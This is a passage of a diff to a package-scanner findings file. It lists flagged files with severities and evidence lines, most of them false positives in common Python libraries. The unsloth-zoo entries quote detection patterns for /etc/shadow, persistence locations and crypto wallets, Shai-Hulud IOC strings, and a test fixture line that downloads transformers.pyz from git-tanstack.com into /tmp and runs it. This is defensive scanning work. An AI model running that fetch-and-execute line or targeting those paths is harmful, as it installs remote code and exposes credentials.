urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url" + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", - "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u" + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\"," + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", + "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", - "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\"," + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(" + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", + "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)" + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L54: \"/tmp/transformers.pyz\"," + "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\"," + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", + "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L155: \"/tmp/transformers.pyz\"," + "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", + "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" }, { "package": "unsloth-zoo", "file": "tests/test_convert_hf_to_gguf_patcher.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_quantize_gguf_q2_k_l.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L67: input_gguf=\"/tmp/in.gguf\"," + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", + "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L164: temporary_location=\"/tmp/ignored\"," + "evidence": "L164: temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3", + "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_quantize_gguf_q2_k_l.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0", + "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_transformers.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:" + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", + "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:" + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", + "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_" + "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154" + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" }, { "package": "urllib3", "file": "urllib3/response.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp" + "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", + "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" }, { "package": "urllib3", "file": "urllib3/util/ssl_.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket," + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", + "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" }, { "package": "attrs", "file": "attr/_make.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)" + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", + "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" }, { "package": "beartype", "file": "beartype/_util/func/utilfuncmake.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)" + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", + "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" }, { "package": "botocore", "file": "botocore/vendored/six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "cffi", "file": "cffi/setuptools_ext.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)" + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", + "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" }, { "package": "ddgs", "file": "ddgs/dht/libp2p_client.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")" + "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", + "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" }, { "package": "dill", "file": "dill/_dill.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')" + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", + "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" }, { "package": "dill", "file": "dill/source.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals" + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", + "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" }, { "package": "dnspython", "file": "dns/query.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"]," - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"\", \"exec\")\nExec: L1291: exec(co, loc)" - }, - { - "package": "execnet", - "file": "execnet/script/socketserver.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)" + "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", + "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" }, { "package": "fastmcp-slim", "file": "fastmcp/server/auth/providers/jwt.py", "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", "severity": "HIGH", - "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))" + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", + "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" }, { "package": "ipython", "file": "IPython/core/debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)" - }, - { - "package": "ipython", - "file": "IPython/core/debugger.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after" + "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", + "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" }, { "package": "ipython", "file": "IPython/core/debugger_backport.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)" + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", + "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1213: exec(cod" + "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)" + "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" }, { "package": "jinja2", "file": "jinja2/environment.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)" + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", + "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" }, { "package": "matplotlib", "file": "matplotlib/sphinxext/plot_directive.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L368: compile(text, '', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)" + "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", + "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L440: time.sleep(300)" + "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", + "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" }, { "package": "networkx", "file": "networkx/utils/decorators.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)" + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", + "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" }, { "package": "numba", "file": "numba/np/ufunc/array_exprs.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)" + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", + "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)" + "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)", + "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" }, { "package": "numba", "file": "numba/tests/test_firstlinefinder.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)" + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", + "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" }, { "package": "numba", "file": "numba/tests/test_funcdesc.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)" + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", + "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" }, { "package": "numba", "file": "numba/tests/test_import.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))" + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", + "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" }, { "package": "numba", "file": "numba/tests/test_np_functions.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)" + "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)", + "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)" + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)" + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + 